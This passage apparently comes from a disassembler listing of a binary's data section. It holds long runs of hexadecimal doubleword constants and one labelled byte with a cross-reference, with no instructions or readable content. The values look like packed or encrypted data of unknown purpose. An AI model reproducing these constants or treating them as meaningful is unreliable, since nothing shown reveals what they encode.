65B3BCEh, 0A85373C3h, 0E6691C59h, 76DBC2C6h, 4C94ADB6h dd 9BC16190h, 5BCA9CDBh, 8BBFFF22h, 9543F47Eh, 9213832Dh dd 2BA85EC4h, 7C57B858h, 0FFC4D643h, 0DAE49A0Eh, 0DAE89035h dd 0EDBEA01h, 0AAFE93D8h, 5819D59Ah, 61403A35h, 9941F753h dd 9B63A313h, 0D4FF3A24h, 32D52CFEh, 0CD2CD1C1h, 0B58498ACh dd 634DB2D5h, 9239EEE0h, 3CAFCCF0h, 5074BB59h, 4AD9998Ah dd 0AA1D98A1h, 336ECEA7h, 8ED9219Fh, 0CA14687Ch, 0D85419A1h dd 5842658h, 9E8AECF6h, 4B7F7749h, 0B58CA41Ah, 2120D3CAh dd 77F86D90h, 3D4A41A6h, 111868D4h, 5D178FD9h, 18F1A1F2h dd 9520DD8h, 0F41540DFh, 44E256D8h, 0C8BD2224h, 3CE779AAh dd 8B6EC778h, 0DEE0422Ch, 0D5847C1Bh, 0A2D1FBD2h, 40342AD4h dd 4A9AB510h, 888EFFh, 0C29A4194h, 0A505471Dh, 6E476DA6h dd 0BB565886h, 0ED2C2015h, 4BAB6027h, 0E66678CCh, 180485DDh dd 3A1BA95h, 0E3D84A1h, 8CFCFBB2h, 2CF35C4Ah, 17AEE821h dd 0F52457DAh, 422E64F9h, 808CA455h, 0FB4268F5h, 8AE512D0h dd 8BC9F333h, 119DA6A5h, 90F6DD1Bh, 0E84155ABh, 0F4BEEF5Ch dd 56F60280h, 0F7EC41F0h, 162B730Ch, 0D4553018h, 93BADC7h dd 0D94D5A19h, 940FD24Dh, 0D5F1601Ch, 0A908D45h, 0DE9EF949h dd 9E8D2A74h, 59F7BA7Fh, 0FA3FDDEh, 98215BE0h, 5ED77618h dd 0C37F5867h, 1D8D0E58h, 0B6E2CCC6h, 72B16A5Dh, 94E45273h dd 81CC28C8h, 61ACF120h, 2F167BDFh, 4CF8DDCBh, 3BCB60CCh dd 847FB531h, 8A3891FFh, 287419F1h, 0DB0D29F3h, 0B6F50993h dd 5EEE9D0h, 7C43B9F8h, 10395E20h, 0DA4D5775h, 861DE70Ch dd 1E56F681h, 28848CBCh, 320FEE47h, 1A398FE1h, 15213935h dd 0E1209E88h, 68FA6AA2h, 6304EB6Dh, 0F2E09F75h, 0F2594B53h dd 31E184F8h, 0E152AFAAh, 0E44D640Eh, 5749288h, 34211AF1h dd 0BFC8453Bh, 7267E73Ah, 3158F6FCh, 0D40B2A44h, 2B74FB0h dd 43DC76BAh, 8F280060h, 4F686E2Ah, 63278914h, 937A9C0Fh dd 60356155h, 556F67B9h, 3580F466h, 0F7A50226h, 0DF48A878h dd 3A46B7CEh, 369257D6h, 0A758DF4Eh, 0C3D59715h, 127BB8h dd 0A2854813h, 58249D68h, 0C2A12EEEh, 780BB365h, 0EB7CD773h dd 0B69C8915h, 0DC3BD5D8h, 224CC2C6h, 69B6C9EDh, 0AEC67B8Dh dd 0ED931429h, 941B5180h, 88D52B68h, 5227FA67h, 0B642F374h dd 1B0C23D0h, 0EEFF47CDh, 0FEFAFEE6h, 73E9CB5Eh, 6B78456Bh dd 529CB27Eh, 17060D30h, 2BA4B4ADh, 72D8C774h, 2DF944EBh dd 465BE3F4h, 93798CBAh, 15E20804h, 2B119A21h, 0BA5E08B5h dd 0CE9B2DCAh, 0A82AE76h, 216B784Fh, 97980701h, 2F937DF2h dd 448FDAA9h, 5CD9CFE7h, 75658F69h, 319A5E2Fh, 9F3D0C93h dd 5D5F647Eh, 4F6BC7DBh, 6A33C184h, 5CC0E060h, 6B26F062h dd 0ECFB29BFh, 42F4CBC0h, 3DD039CCh, 5EE35098h, 0B982722Bh dd 5BB986F1h, 70342E89h, 513CA987h, 98C78EF5h, 0E60FFBD4h dd 91C0219Ch, 9FE0D0C0h, 0B4FFAE46h, 3912AD75h, 0AB381FBBh dd 0C06D89F8h, 8E678AF6h, 0F0FD6E61h, 57C928h, 0A5666EC8h dd 0D0A589D2h, 99CBE71h, 52017ED5h, 0AE3744C8h, 0A566DD0h dd 1DFDD8BDh, 2695017h, 0E0CD706Fh, 637ED8A0h, 4E95CD50h dd 5D1E6F88h, 0E479BB93h, 0A0F54334h, 671FD166h, 23C63A21h dd 0DA285962h, 7379FDB4h, 0B3B84999h, 0C98F80A3h, 0A8C917AFh dd 391058D2h, 0D3524920h, 0B3817978h, 9B3A0021h, 0BF833590h dd 0B1E114DFh, 0EAF0F45Dh, 0EE16B5DDh, 92390E00h, 0F57BBF8Eh dd 0F5D600Ah, 2808D2EDh, 1C665B4Fh, 0E535899Bh, 0EEEBE36Ch dd 2DDC2F40h, 90BBBCFCh, 0A37D7B11h, 2A2C9C83h, 774F913Eh dd 2FD3EF92h, 0AFE4C148h, 7735F792h, 5B237AA6h, 6AACE3F4h dd 82FA673Ah, 95FAE5D8h, 25E9E237h, 5BD32CAAh, 0C917394h dd 81F51031h, 8FF54DECh, 0AD7B3855h, 9E2F5BD0h, 5368F553h dd 0B19540EDh, 80711355h, 38210122h, 2C36C888h, 0B2BB55Dh dd 265297BCh, 62AF523h dd 0AFE48B0Eh, 0DE07CF74h, 3C265F82h, 521780F3h, 0AE806C5Bh dd 1FDE0E2h, 8F649282h, 24C5C45Bh, 0E137CB6Ah, 5E2BC298h dd 0CE41F627h, 0AA3FD8CCh, 7C647CFAh, 0DB3236A8h, 24980F44h dd 0AEE47A33h, 8FE56757h, 27C5AC36h, 5577442Fh, 89F86EE6h dd 4910935Bh, 64A2839Ah, 17AC904Dh, 2C68E0C8h, 754D27C3h dd 0A9ABD63Eh, 8312AFDAh, 0B59C2D94h, 6326DCF9h, 2590A58Fh dd 38FC1A59h, 0B7EF363Ah, 0EEFDACD4h, 0F6CDF8A3h, 2933409Dh dd 0DDB09A6Ch, 6CC4ECA1h, 0E281A355h, 3D45F6D5h, 1620D1D9h dd 0B4F4657h, 90A60389h, 0EFF11118h, 0EF2F52C0h, 4DA7AF18h dd 5571B1E8h, 0E9725129h, 42122EEBh, 0B4BB7E4Ch, 1C483799h dd 56A68DC5h, 71880D8h, 5AD2FC6h, 486EA6A1h, 0B5A80C6h dd 0A8FD79FFh, 3EF36C1Eh, 40A9FC73h, 225630CBh, 43459B5Fh dd 0C30B3587h, 956E121Fh, 1FB3F9D1h, 0AFEE001Fh, 6DD0B395h dd 0B961EC45h, 0C5BE4EBCh, 7BAE9418h, 5EF864C5h, 0C6DA6AC7h dd 0BF495FC0h, 0D63F64FBh, 29879AD8h, 7CA81C01h, 0A770A499h dd 669E296Ch, 0DED5CE44h, 0A2F39C5Ah, 0C978D4AFh, 751CE67Ah dd 0B41C91EFh, 13BC8B41h, 5ABCC8EAh, 8B485161h, 0C94DB6B5h dd 0A4B01D08h, 0B70469C3h, 9CF1C7F3h, 0DD2BA900h, 0C6212F79h dd 6ADD8897h, 60B7C18Fh, 0DD42E5FBh, 16E20E0Fh, 51E8C4EFh dd 436A0FA5h, 0C802BB3Ch, 882E747h, 0E31C4448h, 0E0BA9CB2h dd 1E0EED23h, 2B3F236Fh, 19BAB647h, 6870F132h, 0C0BBD680h dd 0CD783BCEh, 1DE1B541h, 4954B308h, 0CF8A09F9h, 0A8EC7A98h dd 906C6728h, 47A793F8h, 0BA8FF07Ah, 1F2793FDh, 57E152C6h dd 60F1961h, 8447993Ah, 89A601F2h, 2AAC5CEAh, 59A64E70h dd 0F445F99Eh, 0E68D436Eh, 0EF6B9695h, 2B2A46C0h, 353EAF72h dd 0B72422B8h, 0E47ADB72h, 604C19B2h, 0D545B185h, 8E1AED8Bh dd 289C4A52h, 0C83592C1h, 0FC3D60CDh, 2D1DEE93h, 91079B93h dd 2B854C3Fh, 0EE4D0331h, 0D188EA8Fh, 99210FE5h, 815368FBh dd 0E5F018D3h, 8BBB405Bh, 0C8B9EC78h, 70EC7DBCh, 0BF2B62D1h dd 1CB12744h, 54208F12h, 85498178h, 472D2BD0h, 6A25223Eh dd 996345FAh, 0EB63D20Eh, 1D183BEBh, 535FE0E4h, 0D13520D7h dd 0C0E09906h, 37AE3493h, 3A629C96h, 239435E1h, 8F0BAD8Bh dd 695D540Ah, 0BB105CC4h, 0C8D49322h, 0E102145h, 0D642BAD9h dd 0CB0DE4Ch, 150881BAh, 0E299DFF7h, 4DC4A8Ah, 6AC501CCh dd 0A388939Eh, 63222C32h, 0A34531BFh, 62D85FB7h, 6A437980h dd 87F83591h, 1EBF8B69h, 0ED36BD9Ch, 0F23ECC4Bh, 7439AE32h dd 6168B25Eh, 148FA07Ah, 212C95E1h, 0AC425A73h, 3AC914C7h dd 0C5B7FABBh, 1E53B2B7h, 0E39CD9C8h, 11DA1656h, 0B97E855Dh dd 6F028549h, 0A577E0B2h, 0F299852Bh, 1C040C2h, 0E3601788h dd 0ED346885h, 9129D46Eh, 0E591C3A3h, 0B774851Ah, 0D6CD55D9h dd 253484C4h, 0ECE22CE2h, 6A382F77h, 492EF8CAh, 40B7E19Bh dd 0E476E512h, 23BBA2E6h, 0A5EC843Fh, 1C0D1DAh, 68B76E95h dd 0BA17558Eh, 569A156Ch, 7ED59BE6h, 593481D3h, 906518A7h dd 6E4FAAA4h, 0D99DCDB3h, 765C4F0Dh, 0AC396F27h, 96C41B7h dd 0A4C3A554h, 4855A518h, 0CB3390C7h, 160F71EAh, 0D6B0C855h dd 9BFA6D35h, 22A58EBFh, 0C1C5B863h, 77997867h, 664A7E8Bh dd 7A7F5464h, 305EE17Ah, 9E60D9F2h, 0DD973A23h, 8EF4B2DFh dd 8B99B7E5h, 6D180CC1h, 0C2C6FCC5h, 0A142A2C3h, 699E09B6h dd 2E421AE9h, 0CE7E413Ch, 789BEC34h, 0BB05C5A2h, 0C7A04F77h dd 0A633B83Eh, 37A48740h, 5CCCFFAAh, 0FDB522E4h, 0F51ED10Fh dd 0E1C02E43h, 247C6E3Bh, 0BBCC3CA8h, 79EE15AEh, 4BAC7321h dd 0DF98CB28h, 8C3007CAh, 13B188AFh, 93AF022Ch, 2521E776h dd 4DB86D1Fh, 0D51860F6h, 3CEAD9A5h, 18552E7Ah, 60A72CFh dd 1CC5832Fh, 0A30D63C4h, 6BD603CEh, 286A54FDh, 29FAADA3h dd 1C0B94Eh, 0DCE390F4h, 0CD175122h, 73152D5Dh, 4E5AF295h dd 9941C2B8h, 0C49E4532h, 2A32B36Ah, 0FBB00CDFh, 0B8E7359Eh dd 45EF093Dh, 7A36BF8h, 4778FCD9h, 9740BB4Fh, 9FE7831Dh dd 62644B4Eh, 0C5632974h, 9C11DA8Ah, 12E61750h, 3CDC3552h dd 8E38FA29h, 29DC4D86h, 41BCD620h, 52503285h, 0F746CCF0h dd 0F13730C9h, 0BE10FDBAh, 0AC10CEF5h, 47B10AA7h, 0D1041C92h dd 9936D46Fh, 0DC36009h, 1BAC53D7h, 0DD2E2918h, 41DD71E5h dd 0BD1EB9B5h, 0A91C4F0Bh, 21B9EEC4h, 0F656538Ah, 0A387A042h dd 0C768BD87h, 3BF3467Fh, 2CC68F9h, 26097A7Dh, 5A26FBFBh dd 1307B173h, 0D6FD0C02h, 88258510h, 69A38A86h, 0A44769F8h dd 0FB8F4AEAh, 0F2A62DC6h, 0ADCEEA9Ch, 18BCCBCh, 4DAB146Ch dd 0D1CC95A5h, 0B75E7A64h, 0D3076E41h, 0AC0AE596h, 0BED35D3Eh dd 4576C8F3h, 5494FBB2h, 551D6675h, 0ED962BE5h, 36648C25h dd 0D97F8057h, 614FFA2Ch, 0BA0090E9h, 2191D014h, 0E996593Ah dd 167CB954h, 0B1F913E2h, 0CFA4652Eh, 16AECB13h, 8CE2B9B9h dd 68D2A11Dh, 0B3E3C00Bh, 0B1D9A8B3h, 607C9C4Ch, 0A6C8CF9Ah dd 0FA5A6F2Fh, 6C93F9F7h, 0D8A08460h, 1E7CCB8Ah, 0E5EBDB53h dd 0E72C467Fh, 6EEC4A0Ah, 17564D34h, 1736D0B1h, 67AAAAE2h dd 4EB90EDBh, 834FE05Eh, 73F08E56h, 0D7DCA8FEh, 19177D27h dd 0C1D4B24Dh, 34CCC419h, 0A38F906Ch, 879859D5h, 979C2B8Ch dd 99E9F760h, 0A3A8478Bh, 39160742h, 2DD55A74h, 8B5335C5h dd 0FECBD68Dh, 2C88BE25h, 0DD27AAEAh, 96EDCAC2h, 0AAE8A02Ch dd 0E1B315ACh, 65F9071Ah, 26EC7751h, 0B93A73A5h, 18C8E68Fh dd 34EE9857h, 7A5C3C7h, 6626DDABh, 0AD9185B3h, 0FF1591Ch dd 0E41A5663h, 5E63C29Ch, 4B1D631Ah, 8438F7A5h, 0ADA21981h dd 64015C7Eh, 0DD4AAEC5h, 27E506FDh, 82A70AD2h, 1D1D4A4Ch dd 0AD3BEA78h, 82E6FB9Fh, 17A32DA6h, 64937699h, 0D7DE937Dh dd 920B8F8Eh, 357E9BB4h, 0D8326853h, 3650EEECh, 5D79BF8Ah dd 0D8E2D61Ch, 4614AD65h, 444E9A33h, 0D4554CCFh, 3E6A22FBh dd 3E495663h, 0A4945B78h, 0DC0F58A9h, 33202593h, 0DFCD699Dh dd 62FBADFDh, 0EE5C46F2h, 0B088C13Dh, 53CA30B8h, 626EF3FEh dd 8B504399h, 7DDFC443h, 0D60775DBh, 9B13AD51h, 1DC81F1h dd 94D356D4h, 8B8D2A15h, 0EB73FBDBh, 64BAF34Ch, 0B91528CEh dd 5ECA75ADh, 0FB65136Bh, 195DCE05h, 0F1E57A77h, 3F84F8B5h dd 800B279Ch, 6B6B5AB1h, 366B6500h, 4C4F4567h, 0C2EC27B2h dd 99E49A0Fh, 1E31BE9Bh, 2C7DE0D3h, 0AF027F20h, 0DB544605h dd 36069FC1h, 53FEAE34h, 22E37351h, 0CCD9F4A4h, 23CD1A90h dd 18690E6Fh, 85DE669Bh, 26899FAAh, 85CBE2D5h, 780D419Fh dd 0A298B7F2h, 0E0321F36h, 524E9C58h, 0A290819Ah, 93646E9h dd 0E332A7E2h, 70FB380Dh, 0BCAD6F5Bh, 44A59884h, 0ECD40725h dd 0D1E85795h, 897344B2h, 41B373EBh, 85328A3Dh, 0B8C7F90h dd 78E7FFF5h, 4115EE2Dh, 5133B280h, 0F5FD0565h, 96A4328Fh dd 9D43A814h, 0FD517AADh, 0FAD53EDBh, 0E0B6C59Bh, 0E262A326h dd 2DCDE50Eh, 931F159Eh, 0A8040D23h, 0AD73E3B4h, 32CDD9B8h dd 0B7B85AAh, 0BB675780h, 4BEDB840h, 5BC99DA0h, 0E398D683h dd 46CB6856h, 33B0DEABh, 5179644Bh, 32CBD795h, 9FC4DC63h dd 55184FC0h, 0E4F63BDDh, 0D53B4297h, 7BBDB13h, 27EB69Bh dd 0A47CAD35h, 22814E6Ch, 49325E37h, 0FCA98B9Ch, 2BCFE864h dd 0EE312EA3h, 3D7C07DAh dd 162590B3h, 26FE4467h, 0A575BFC8h, 1B670513h, 0FFF283E2h dd 27A9E424h, 2F093D39h, 5B4B2048h, 7D9954F0h, 33722FDAh dd 828515B3h, 0C6D2D660h, 584A51C8h, 7B311000h, 0DA713163h dd 73BE46A2h, 48F5AD5h, 0ECB51120h, 0C6963806h, 46E8F5ABh dd 5C707F8Ch, 0E5FC076Dh, 0E0267969h, 0BCD66388h, 0FAD6CFB4h dd 7DA2F52Fh, 920A67D7h, 0B1F0D601h, 50484F84h, 11DE4A6Fh dd 3389FA1h, 0B7705F5Ch, 53AB8C73h, 83F5287h, 0B6143938h dd 127740EBh, 0FB7AE29Eh, 29F5F486h, 0AC2F35E8h, 1A7A24A0h dd 5D02D604h, 23366D2Ch, 0AA0F548h, 2E1C6A3h, 0BE52D92Ah dd 0CC34D4F0h, 0ED73139Bh, 5C3D705Eh, 0FCFC257h, 6914CCE1h dd 80261E66h, 61B0C29Bh, 4B446614h, 0A0361B21h, 9B1FF921h dd 8CDC3C81h, 0BC39152Eh, 60C6C176h, 18A8CD27h, 0F2402620h dd 25F8935Bh, 0C5EB8EBFh, 0C08D3950h, 0A7B58F3Dh, 4F6B606h dd 464C7DEh, 6AF3EA36h, 0CB9C7B2Dh, 180E41E3h, 0BB691C92h dd 0F39DC2BBh, 7F607BDEh, 453B097Ch, 6E549AEEh, 789C36E2h dd 0ABEEB20Bh, 1C044B00h, 0D3F1F2CFh, 0FFAFE1C7h, 0A2518B8Eh dd 0AC80F100h, 3C440C28h, 6730B0E5h, 0A867B8B1h, 0DA3BB93Eh dd 0D821B1C8h, 855AA371h, 7D3FC1FAh, 0B692050Bh, 0A1EDBA0Dh dd 7EEA2D18h, 0E8242DCh, 0B0CE6AEAh, 86548206h, 1E8A83C5h dd 418E1E99h, 95B22C65h, 0E213C560h, 0D9EB1EEDh, 0FE5F6D92h dd 7D051275h, 0B4B89270h, 5737CEEDh, 10ED5259h, 7B7C29E6h dd 3D90E5AFh, 8FAA95F2h, 11C4F311h, 0F0295B16h, 7FFCA650h dd 0D9EA29FAh, 86EDD8Ah, 988DBD40h, 0FE8216ADh, 1DC9621Fh dd 6CB4F241h, 7A0E0B33h, 54D525BDh, 0E8477BB6h, 5971E528h dd 81B77BCBh, 0F42A5DF1h, 0C77565A7h, 1FD6B89Dh, 9639AD28h dd 0E977D769h, 158D0DDBh, 0C4BDCD58h, 0E1CFF597h, 0D89B1688h dd 0CB37B189h, 0A8CCE3DAh, 0F0B0BCC1h, 8B84210Bh, 0A059DEADh dd 1AB63708h, 45D1E636h, 76631D3h, 961C47D7h, 3F7EAB1Fh dd 96B5B89Ah, 4440D078h, 0FC650630h, 29B5AA04h, 0C82009DCh dd 2ED5DFE6h, 0BABC982Dh, 45F7DE1h, 5FA0D46Eh, 0C4A0BEC4h dd 7F1F84F7h, 0BC6D82A0h, 0EE76E61Ah, 6F5A3A90h, 20CDF2BEh dd 2C0635C5h, 109B6B6Fh, 0D52D7DD9h, 5581B1DFh, 0E935AAABh dd 81934384h, 25AAE7B0h, 8EDBAF77h, 9E49BD0Dh, 8B985C75h dd 1F877B5Ch, 280322F7h, 0D615C65Bh, 0A117FA78h, 0DD78B029h dd 0FE8020F0h, 0F483CC9Eh, 98B472B9h, 6C3C476Bh, 8D814FC9h dd 6661404Dh, 0C9E389DDh, 38BEB2E2h, 0F2EE4143h, 9A966159h dd 6A305C94h, 0DC2BD2B0h, 14BCAD24h, 0FAFA8030h, 0D3F97749h dd 49393634h, 506AD7B2h, 0C20FE963h, 0DF2922D4h, 11CCFAD0h dd 0EF231A2Eh, 851B4A71h, 7A3DC5E6h, 0DD993683h, 5B079FE9h dd 3CA0268Dh, 2BA208h, 9061EE9h, 0FCFA4932h, 2543406Ch dd 49E1F8E5h, 7056FAC7h, 9699E69Fh, 0C5677630h, 35540AFAh dd 0CD7FC2D9h, 6250A14Eh, 92FFB0FDh, 33776F88h, 9EC2A0C7h dd 83DB0C0h, 171FB48h, 0A6498519h, 0F4B81434h, 1A8A3C34h dd 0FFA6F1EAh, 4B38BE1Eh, 9617D6FDh, 9BC51E70h, 4E433A2Eh dd 50B9959Eh, 21826131h, 70F9D018h, 9586D47Ah, 0DA9B2D39h dd 961F18FEh, 0D763C90Dh, 54F954A7h, 0D64042A2h, 825C4E4Fh dd 74B7F216h, 27FD8B23h, 0CBCEEAEEh, 0BF820567h, 4D750842h dd 0C3DDFFE5h, 2AEC62E4h, 412C9E58h, 23314588h, 0C8D1544Ch dd 12EB9454h, 6526798Fh, 26D044AEh, 932FF103h, 3424DC59h dd 9F62BF96h, 727D3EA0h, 0F0AF6825h, 6B24265Dh, 3BB89DB3h dd 5C4CA24Bh, 18033882h, 79402CD7h, 3FBCFF1Dh, 0F8F8B7F8h dd 0FFB5A13Dh, 99536026h, 0F03B539Ch, 31D50D9h, 0D128118Bh dd 0E30F5C4Ch, 0DF6B2B10h, 0A75B7338h, 4AF7E8E0h, 1E4C5875h dd 9E71BB05h, 583A38F0h, 28C343A2h, 9CF49568h, 0E931B034h dd 969FACEAh, 52043C24h, 25867139h, 9EE782D0h, 9B13B457h dd 0B7DEFE2h, 5FA80D46h, 759BC806h, 2BB060E3h, 505E613h dd 0A82FC379h, 0A89694F2h, 7F1F0147h, 6DE001A6h, 2FD53197h dd 0EF7382FBh, 767DE4CEh, 4DDB5189h, 11C4D77h, 5D455C95h dd 272F6224h, 8145FA19h, 7EFA1533h, 0E5084CE9h, 5717129Fh dd 0C6120A59h, 9AF7E024h, 2BAB1021h, 0D9598288h, 7A62E37Bh dd 1D1537A3h, 8B577BDEh, 0AB6A97F0h, 0CA9ACD3h, 44F7868h dd 645EFDB9h, 89DC4C65h, 0A4BDE0B7h, 8A8C1BD0h, 43202716h dd 8E27C781h, 8949B5B0h, 49599A17h, 4D7EE5Bh, 415DD852h dd 0E9FEF309h, 17EBE49Bh, 61D426DEh, 4F75000Fh, 7CCA55F6h dd 0D292AC49h, 0F4D0F994h, 6E226483h, 0DCCAB1E3h, 82AACA8Eh dd 38C3E946h, 0C68CE053h, 6B996A28h, 526270A4h, 92C5337Bh dd 0BF95BF8h, 2BE54886h, 0E38F6A64h, 0C4D6541Ah, 0ECA12417h dd 718E5A09h, 607F610Bh, 2E6401D0h, 5F41D16Dh, 0F201CE14h dd 3968C813h, 645982A8h, 0B9677E60h, 0F6DB1F72h, 894C4100h dd 0BE034D52h, 49BD1373h, 1D483BEBh, 52ADF337h, 9C017481h dd 2909B237h, 539D86E3h, 0D4FA4DFDh, 5EA8529Bh, 0C56A2963h dd 0DEA83A41h, 6F31184Ah, 63A31541h, 0C6E57810h, 0B9B31D4Fh dd 7B5595FCh, 0B07BD072h, 986AF7F9h, 0B5337916h, 629B6E36h dd 4DC9A83h, 0FD06383h, 0F4289D15h, 36A0E3ADh, 8E9CB5B8h dd 2AA722C4h, 0F44CE9A0h, 78E7B865h, 1C1A2562h, 84DD5430h dd 9E7408D1h, 753FF545h, 352AEFC9h, 27F753D8h, 6606D00Ah dd 561A53Ah, 0DF018C50h, 8B0E36CDh, 0CB61824Ah, 6E982EBCh dd 4D13C49Ah, 0D0E355C5h, 3B0B5FE6h, 7CD9D91Eh, 0C5119279h dd 841C31AFh, 0CBC30752h, 0B97EEF98h, 85A11487h, 0B505C285h dd 6A076ADBh, 3769A4F4h, 630A34C2h, 64A72997h, 6EDE94E8h dd 464DFBADh, 6E858144h, 5B3E74F7h, 6BE10905h, 8FF088E5h dd 1D96F41h, 23EFA5C4h, 0B508398h, 9C7A5364h, 72D5C3E4h dd 7B314827h, 68C34F57h, 4B2BD3Fh, 0BCCA3896h, 4455A306h dd 9C14565Fh, 8FB48433h, 43D566ADh, 9202D6B0h, 6F96A96Fh dd 83E8880Fh, 0F9A9628h, 0F4B7A3EBh, 95A94A76h, 0EF974A8Ah dd 9127C554h, 0E9E52263h, 48FA9D77h, 0ABA5E47Fh, 65456C1Ch dd 4CACA8C8h, 1B1D1B6Ah, 0E0360A47h, 34C377ABh, 0DB9CD24Dh dd 6F3FAA65h, 5C5511A4h, 5AA3972Fh, 2650E1E3h, 0ED8B5EFDh dd 0AD776903h, 55874087h, 82EC0917h, 0C9099F65h, 2933D746h dd 349B259Fh, 0E5B06DD2h, 0C54D922Dh, 5F80E0C4h, 0B06E00A8h dd 1010C660h, 0CCA3CD37h, 0EA8D7F44h, 52B4FDB2h, 9FE3EEFAh dd 850F1B51h, 932C58BBh, 24F80619h, 87FB92E5h, 73AD49FBh dd 33EAB384h, 5A5128Ah, 0C40B638Eh, 251C4437h, 0E6509BFh dd 85ECEE74h, 0DC2292C0h, 0BE93281Bh, 4FECED3Bh, 4A7977BCh dd 60AB418Eh, 1608B7F5h, 80420FEDh, 0BF2EF855h, 30497CBCh dd 581C8DDEh, 59469856h, 927F7E3Ah, 0B4CD7FE6h, 294D208h dd 0D6E768B2h, 0F02D8E67h, 6E3B2416h, 46B80F39h, 6EEFD1h dd 0F1DCF441h, 0E88DD86Dh, 0C7E9F1A1h, 75E3985Bh, 0BE29F3D1h dd 1806F4C6h, 66B96053h, 8E81C083h, 0BBBAB499h, 814E3368h dd 0BDD2B14Eh, 4B04A912h, 2BC53492h, 4D0AD043h, 70FC15BAh dd 2943A7BEh, 7DFF50CEh, 0B0223FE9h, 0F63982C9h, 0ECD1BD57h dd 0C114B15Dh, 0FD2A341Eh, 862FC266h, 0BD968E24h, 139BA25h dd 19EE4B3Fh, 623047E8h dd 8B734FB3h, 673A128Ch, 4279A25Eh, 0CA86BD2Dh, 44EF1DE6h dd 44A54163h, 0D0988421h, 2EB07047h, 41DF627Bh, 0EB8B4A25h dd 7B051EF1h, 82C4C8A9h, 0E270483Eh, 51721090h, 0BFFD8EECh dd 0B2C58D5Fh, 65B18C76h, 0C125CB44h, 0A5550F7Bh, 0FCCA4388h dd 0D922EB55h, 608704E7h, 0BA6D73C3h, 281BB34Eh, 0FCAD7F35h dd 0B1327247h, 7688E7F3h, 4B143D04h, 0D9BC0271h, 0B586D7EAh dd 77CCF93Dh, 3B5B12D6h, 0F403ADDFh, 7DC60D61h, 0D395B8D5h dd 0D599C1F9h, 0FF463954h, 0ADF384C7h, 0D6CFBEC8h, 2C9CDB60h dd 0F4E47617h, 0E63A80C1h, 5A88374Eh, 13879EB3h, 0D53650F0h dd 0C11C5A7Bh, 5A7E6AF0h, 0E7E564BAh, 0E268AECh, 94FA1918h dd 27FC4EF0h, 8EA3C123h, 0CF0D7E3Ah, 84B773D5h, 0D999EDB4h dd 0F1E4FC3Fh, 76EA9438h, 72EF77FEh, 20021EF0h, 0C23B1556h dd 95862F3Dh, 97F390EAh, 1979E2B5h, 88445722h, 0A8BF1DBCh dd 6F40384h, 95FB782Eh, 0B04F9498h, 0AC29EE64h, 0D6A7D2A2h dd 83B883E2h, 0DE32EE3Ch, 76D30FE5h, 655BAC64h, 175F93Ah dd 1410C6F7h, 526DB517h, 0A5B288CCh, 93867CB6h, 74883987h dd 0B2FA25DDh, 787AA4Ch, 366579A1h, 1558B907h, 0B6795865h dd 51FA9F89h, 0DA9AD3E4h, 0C7BB9B26h, 3CB13B7Ch, 61B6ACC4h dd 0E5617AF6h, 0FE49C72Fh, 3E7D718Ah, 0CF9B8FDBh, 0D4983FA5h dd 8F20DC98h, 0E209CEA7h, 52E7DB7Dh, 4686C8F7h, 0AE9E3FFBh dd 0ED17552Fh, 0D19509FAh, 0A3A4DE56h, 0B16B8DE7h, 17DF25C1h dd 2BB7EA9h, 0AC2D780Ah, 0C238C3E7h, 4BDF10Bh, 0CC22E329h dd 9701CCEDh, 5D040AA1h, 0C98D5438h, 0E2C29271h, 8327C6A3h dd 5EC84ED9h, 58C1896Dh, 6225A4BAh, 43891820h, 0E6D5E697h dd 6AABEFh, 0A6B48295h, 9BB48D11h, 0C269BDC5h, 0A50C5069h dd 0ADB75B83h, 95080A58h, 4E57DF60h, 0ADB3180Ch, 8C927AC4h dd 0C7FA3A99h, 6E662FADh, 0CFA9ADEh, 0B4D130DAh, 2454DF2Bh dd 3401480Fh, 6D9671DAh, 0BF2D1B35h, 39031A5Ch, 91677736h dd 7F9A8286h, 0FE036F43h, 0C1C6889Ch, 173870E0h, 521B4309h dd 924341E6h, 447B3978h, 3FF2F8E4h, 5078A9E4h, 0A3A29746h dd 88CEE76Ah, 0A73447AAh, 0B50B4406h, 0DA35865Bh, 9D7FBBF5h dd 0BFA7A52Ch, 22D17138h, 5DC21337h, 4C5C0CE9h, 1005B1CEh dd 71FE5D36h, 43D2AB35h, 0D7604B63h, 0BC3EEE46h, 0AD63607Dh dd 0B58E0E0Fh, 44ED943Ch, 5CB46FB3h, 0A3698E40h, 153D3A6Ch dd 0C85B7A04h, 0A9839928h, 39965A62h, 2A97947Fh, 0B52FB55Dh dd 0D5968F25h, 0F8B9E972h, 787A5DECh, 8CADA3B0h, 0ECF33279h dd 910FE0FBh, 0C157051Ch, 551C31F5h, 45F77464h, 0DEDC569Eh dd 1D4DDA9h, 42232BADh, 758347FDh, 70781950h, 0D58C835Bh dd 0AE89B3F5h, 0AEA19D38h, 1FE00F34h, 0AFA9955h, 0FF5BFA79h dd 5F009D4Bh, 0DAB9920Bh, 7AF89F6Bh, 0BEF92DFDh, 21D3DE79h dd 419149B9h, 7FF7996Eh, 90407D82h, 707A5913h, 0E221D87Ah dd 47811134h, 6657B2CDh, 746DE37Bh, 0D751EC65h, 49BFAC7Eh dd 9616F092h, 0B0466868h, 0ECC075E2h, 6100A493h, 4D39E30Dh dd 0B06098E2h, 6ED413D8h, 0B2CC333Eh, 7A70170Ah, 1A73F7A0h dd 0C73101Dh, 0F9E09CECh, 1B916BF7h, 8C336038h, 8B64BBE7h dd 0D6F9E1DBh db 0BAh byte_464E49 db 1Ch, 0Ch, 51h ; DATA XREF: DMN0:off_4100FEo dd 0F83FFAE0h, 51A1D0FCh, 0C1ECBB6Bh, 674A3E41h, 0B5410DEDh dd 270FDEDAh, 61EE074Fh, 0BD83474Ch, 0C212B3AFh, 4ED0EFC0h dd 0B60EE018h, 89685749h, 0B4632349h, 6E3E0C40h, 56B4A75h dd 7E0E31CFh, 0EB51E179h, 846F3505h, 17A8BD7Bh, 0B5F2AA52h dd 9C3D80D4h, 0DD321B34h, 0E541D72Ah, 0EC73D951h, 374E61Eh dd 84BBA5DBh, 979DA768h, 81DA8EF8h, 37769CE8h, 0FC07D531h dd 4D2E47DCh, 7DAC29B9h, 0B85004E5h, 8DC8154Ch, 0D2AB98C5h dd 96EF48BFh, 3A2AAFFFh, 1DFC6090h, 0F34B6807h, 516CE0B0h dd 2D44F098h, 936D7EFDh, 0C629E37Bh, 8DC9F63h, 5194C9FEh dd 633FBE35h, 0FC0F26B2h, 4C1156C6h, 7B527016h, 9B294E51h dd 8A24B05Ah, 7B15C2CFh, 5AC03504h, 7A576C7Fh, 1CC365h dd 20CC018h, 10097288h, 74191CECh, 